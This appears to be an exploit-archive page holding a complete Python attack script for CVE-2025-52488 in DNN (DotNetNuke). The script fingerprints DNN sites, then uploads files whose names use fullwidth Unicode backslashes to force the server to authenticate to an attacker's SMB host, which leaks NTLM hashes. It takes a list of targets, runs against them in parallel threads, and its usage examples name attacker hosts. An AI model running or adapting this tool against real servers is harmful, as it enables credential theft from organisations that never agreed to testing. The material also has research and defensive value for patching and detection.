4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.py PY
#!/usr/bin/env python3
"""
DNN (DotNetNuke) Unicode Path Normalization NTLM Hash Disclosure Exploit (CVE-2025-52488)

Title: DNN Unicode Path Normalization NTLM Hash Disclosure
Date: 01/2025
CVE: CVE-2025-52488
Author: Security Research Team
Vendor Homepage: https://dnnsoftware.com/
Version: 6.0.0 to before 10.0.1
Tested on: Windows/IIS
"""

import requests
import urllib3
import string
import sys
import argparse
from datetime import datetime
import random
import threading
from typing import List
from colored import stylize, fg
from abc import ABC, abstractmethod
import pyfiglet
from urllib.parse import unquote

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class Logger:
    """Enhanced logging utility with colored output"""
    
    @staticmethod
    def format_timestamp() -> str:
        """Format current timestamp for logging"""
        return f"[{datetime.now().strftime('%Y-%m-%d-%H:%M:%S')}]"
    
    @staticmethod
    def info(message: str, host: str = "") -> None:
        """Log info message"""
        host_info = f" [{host}]" if host else ""
        print(stylize(Logger.format_timestamp(), fg('#ffe900')) + 
              stylize(f" [INFO]{host_info} {message}", fg('blue')))
    
    @staticmethod
    def error(message: str, host: str = "") -> None:
        """Log error message"""
        host_info = f" [{host}]" if host else ""
        print(stylize(Logger.format_timestamp(), fg('#ffe900')) + 
              stylize(f" [ERROR]{host_info} {message}", fg('red')))
    
    @staticmethod
    def success(message: str, host: str = "") -> None:
        """Log success message"""
        host_info = f" [{host}]" if host else ""
        print(stylize(Logger.format_timestamp(), fg('#ffe900')) + 
              stylize(f" [SUCCESS]{host_info} {message}", fg('green')))
    
    @staticmethod
    def warning(message: str, host: str = "") -> None:
        """Log warning message"""
        host_info = f" [{host}]" if host else ""
        print(stylize(Logger.format_timestamp(), fg('#ffe900')) + 
              stylize(f" [WARNING]{host_info} {message}", fg('yellow')))


class Utils:
    """Utility functions for exploit framework"""
    
    @staticmethod
    def generate_random_string(length: int = 10) -> str:
        """Generate random string of specified length"""
        return ''.join(random.choice(string.ascii_letters) for _ in range(length))
    
    @staticmethod
    def validate_url(url: str) -> str:
        """Validate and format URL"""
        if not url.startswith(('http://', 'https://')):
            url = 'http://' + url
        return url.rstrip('/')
    
    @staticmethod
    def encode_unicode_path(smb_server: str) -> str:
        """Encode SMB path using Unicode normalization for DNN exploit"""
        # Unicode fullwidth backslash (\uFF3C) encoded as UTF-8
        unicode_backslash = "%EF%BC%BC"
        # Unicode fullwidth period (\uFF0E) encoded as UTF-8  
        unicode_period = "%EF%BC%8E"
        
        # Craft the malicious filename with Unicode normalization
        payload = f"{unicode_backslash}{unicode_backslash}{smb_server}{unicode_backslash}{unicode_backslash}c${unicode_backslash}{unicode_backslash}an{unicode_period}jpg"
        return payload


class BaseExploit(ABC):
    """Base class for all exploits - provides common functionality"""
    
    def __init__(self, target: str, timeout: int = 10):
        self.target = Utils.validate_url(target)
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        
    @abstractmethod
    def exploit(self, **kwargs) -> bool:
        """Main exploit method - must be implemented by subclasses"""
        pass
    
    @abstractmethod
    def check_vulnerability(self) -> bool:
        """Check if target is vulnerable - must be implemented by subclasses"""
        pass
    
    def get_default_headers(self) -> dict:
        """Get default headers for requests"""
        return {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
        }


class DNNExploit(BaseExploit):
    """DNN Unicode Path Normalization NTLM Hash Disclosure Exploit (CVE-2025-52488)"""
    
    def __init__(self, target: str, timeout: int = 10):
        super().__init__(target, timeout)
        self.cve_id = "CVE-2025-52488"
        self.exploit_path = "/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx"
        self.dnn_indicators = [
            'dnn_IsMobile',
            'dotnetnuke',
            'dnnconnect',
            'DNN Platform',
            'DotNetNuke'
        ]
        
    def check_vulnerability(self) -> bool:
        """Check if target is vulnerable to CVE-2025-52488"""
        try:
            headers = self.get_default_headers()
            
            # Check if DNN is present by looking for common indicators
            response = self.session.get(self.target, headers=headers, timeout=self.timeout)
            
            # Check for DNN indicators in response
            dnn_found = False
            for indicator in self.dnn_indicators:
                if indicator.lower() in response.text.lower() or indicator.lower() in str(response.headers).lower():
                    dnn_found = True
                    Logger.info(f"DNN indicator found: {indicator}", self.target)
                    break
            
            if not dnn_found:
                Logger.warning("No DNN indicators found, target might not be DNN", self.target)
                return False
            
            # Check if file upload endpoint exists
            upload_url = f"{self.target}{self.exploit_path}?PortalID=0&storageFolderID=1&overrideFiles=false"
            test_response = self.session.get(upload_url, headers=headers, timeout=self.timeout)
            
            if test_response.status_code == 404:
                Logger.error("File upload endpoint not found", self.target)
                return False
            
            if test_response.status_code in [200, 405]:  # 405 Method Not Allowed is expected for GET
                Logger.success("File upload endpoint accessible", self.target)
                return True
                
            return False
            
        except requests.exceptions.RequestException as e:
            Logger.error(f"Request failed: {str(e)}", self.target)
            return False
        except Exception as e:
            Logger.error(f"Unexpected error: {str(e)}", self.target)
            return False
    
    def exploit(self, **kwargs) -> bool:
        """Execute NTLM hash disclosure exploit"""
        smb_server = kwargs.get('smb_server')
        if not smb_server:
            Logger.error("SMB server not provided", self.target)
            return False
            
        try:
            headers = self.get_default_headers()
            
            # Generate malicious filename using Unicode normalization
            malicious_filename = Utils.encode_unicode_path(smb_server)
            
            # Create multipart form data
            boundary = "----WebKitFormBoundary" + Utils.generate_random_string(12)
            headers['Content-Type'] = f'multipart/form-data; boundary={boundary}'
            
            # Random file content
            file_content = Utils.generate_random_string(50)
            
            # Construct multipart payload
            payload = f"""--{boundary}\r
Content-Disposition: form-data; name="file"; filename="{unquote(malicious_filename)}"\r
Content-Type: image/jpeg\r
\r
{file_content}\r
--{boundary}--\r
"""
            
            upload_url = f"{self.target}{self.exploit_path}?PortalID=0&storageFolderID=1&overrideFiles=false"
            
            Logger.info(f"Attempting NTLM hash disclosure to: {smb_server}", self.target)
            Logger.info(f"Malicious filename: {unquote(malicious_filename)}", self.target)
            
            response = self.session.post(
                upload_url, 
                data=payload,
                headers=headers,
                timeout=self.timeout
            )
            
            if response.status_code in [200, 500]:
                Logger.success("Exploit payload sent successfully", self.target)
                Logger.info("Check your SMB server for incoming NTLM authentication attempts", self.target)
                
                # Check for error messages that might indicate success
                if any(error in response.text.lower() for error in ['runtime error', 'exception', 'error']):
                    Logger.success("Server error detected - possible successful exploitation", self.target)
                
                return True
            else:
                Logger.error(f"Exploit failed (HTTP {response.status_code})", self.target)
                return False
                
        except requests.exceptions.RequestException as e:
            Logger.error(f"Exploit failed: {str(e)}", self.target)
            return False
        except Exception as e:
            Logger.error(f"Unexpected error during exploit: {str(e)}", self.target)
            return False


class ExploitFramework:
    """Main framework for running exploits"""
    
    def __init__(self, cve_id: str = "CVE-XXXX-XXXX", exploit_type: str = "Generic Exploit"):
        self.cve_id = cve_id
        self.exploit_type = exploit_type
        self.banner = self._generate_banner()
    
    def _generate_banner(self) -> str:
        """Generate dynamic banner with CVE information using pyfiglet"""
        try:
            # Create ASCII art title
            title = pyfiglet.figlet_format("DNN EXPLOIT", font="slant")
            
            # Create info lines
            info_lines = [
                f"🎯 {self.cve_id} | {self.exploit_type}",
                "",
                "🔓 Unicode Path Normalization NTLM Hash Disclosure",
                "💀 Test First, Analyze After 💀",
                "",
                "Author: Security Research Team"
            ]
            
            # Calculate max width for border
            title_lines = title.split('\n')
            max_width = max(len(line) for line in title_lines + info_lines)
            border_width = max_width + 4
            
            # Build banner
            banner_lines = []
            banner_lines.append("╔" + "═" * border_width + "╗")
            banner_lines.append("║" + " " * border_width + "║")
            
            # Add title
            for line in title_lines:
                if line.strip():
                    padding = (border_width - len(line)) // 2
                    banner_lines.append("║" + " " * padding + line + " " * (border_width - len(line) - padding) + "║")
            
            banner_lines.append("║" + " " * border_width + "║")
            
            # Add info lines
            for line in info_lines:
                padding = (border_width - len(line)) // 2
                banner_lines.append("║" + " " * padding + line + " " * (border_width - len(line) - padding) + "║")
            
            banner_lines.append("║" + " " * border_width + "║")
            banner_lines.append("╚" + "═" * border_width + "╝")
            
            return "\n" + "\n".join(banner_lines) + "\n"
            
        except ImportError:
            # Fallback if pyfiglet is not available
            return f"""
╔═══════════════════════════════════════════════════════════════════════════════════╗
║                                                                                   ║
║                                 DNN EXPLOIT                                       ║
║                                                                                   ║
║                          🎯 {self.cve_id} | {self.exploit_type}                   ║
║                                                                                   ║
║                    🔓 Unicode Path Normalization NTLM Hash Disclosure            ║
║                              💀 Test First, Analyze After 💀                     ║
║                                                                                   ║
║                             Author: Security Research Team                        ║
║                                                                                   ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
        """
        
    def show_banner(self):
        """Display framework banner"""
        print(stylize(self.banner, fg('red')))
    
    def run_exploit_on_targets(self, targets: List[str], exploit_class, smb_server: str, threads: int = 10):
        """Run exploit on multiple targets with threading"""
        
        def worker(target: str):
            exploit = exploit_class(target)
            if exploit.check_vulnerability():
                exploit.exploit(smb_server=smb_server)
        
        # Limit concurrent threads
        semaphore = threading.Semaphore(threads)
        
        def threaded_worker(target: str):
            with semaphore:
                worker(target)
        
        threads_list = []
        for target in targets:
            thread = threading.Thread(target=threaded_worker, args=(target,))
            thread.start()
            threads_list.append(thread)
        
        # Wait for all threads to complete
        for thread in threads_list:
            thread.join()
    
    def load_targets_from_file(self, file_path: str) -> List[str]:
        """Load targets from file"""
        try:
            with open(file_path, 'r') as file:
                targets = [line.strip() for line in file if line.strip()]
            Logger.info(f"Loaded {len(targets)} targets from {file_path}")
            return targets
        except FileNotFoundError:
            Logger.error(f"Target file not found: {file_path}")
            return []
        except Exception as e:
            Logger.error(f"Error loading targets: {str(e)}")
            return []


def main():
    """Main function with improved argument parsing"""
    framework = ExploitFramework(
        cve_id="CVE-2025-52488",
        exploit_type="DNN NTLM Hash Disclosure"
    )
    framework.show_banner()
    
    parser = argparse.ArgumentParser(
        description="DNN Unicode Path Normalization NTLM Hash Disclosure Exploit (CVE-2025-52488)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python main.py targets.txt attacker.example.com
  python main.py targets.txt 192.168.1.100 -t 20
  python main.py targets.txt attacker.burpcollaborator.net --timeout 15
        """
    )
    
    parser.add_argument('targets', help='Target file containing list of DNN hosts')
    parser.add_argument('smb_server', help='SMB server to capture NTLM hashes (e.g., attacker.com or IP)')
    parser.add_argument('-t', '--threads', type=int, default=10, help='Number of concurrent threads (default: 10)')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')
    
    if len(sys.argv) < 3:
        parser.print_help()
        sys.exit(1)
    
    args = parser.parse_args()
    
    # Load targets from file
    targets = framework.load_targets_from_file(args.targets)
    if not targets:
        Logger.error("No targets to process")
        sys.exit(1)
    
    # Run exploit
    Logger.info(f"Starting DNN NTLM hash disclosure exploit against {len(targets)} targets")
    Logger.info(f"SMB Server: {args.smb_server}")
    Logger.info(f"Threads: {args.threads}")
    Logger.warning("Ensure your SMB server is ready to capture NTLM hashes!")
    
    framework.run_exploit_on_targets(
        targets=targets,
        exploit_class=DNNExploit,
        smb_server=args.smb_server,
        threads=args.threads
    )
    
    Logger.info("Exploit execution completed")
    Logger.info("Check your SMB server logs for captured NTLM hashes")


if __name__ == '__main__':
    main()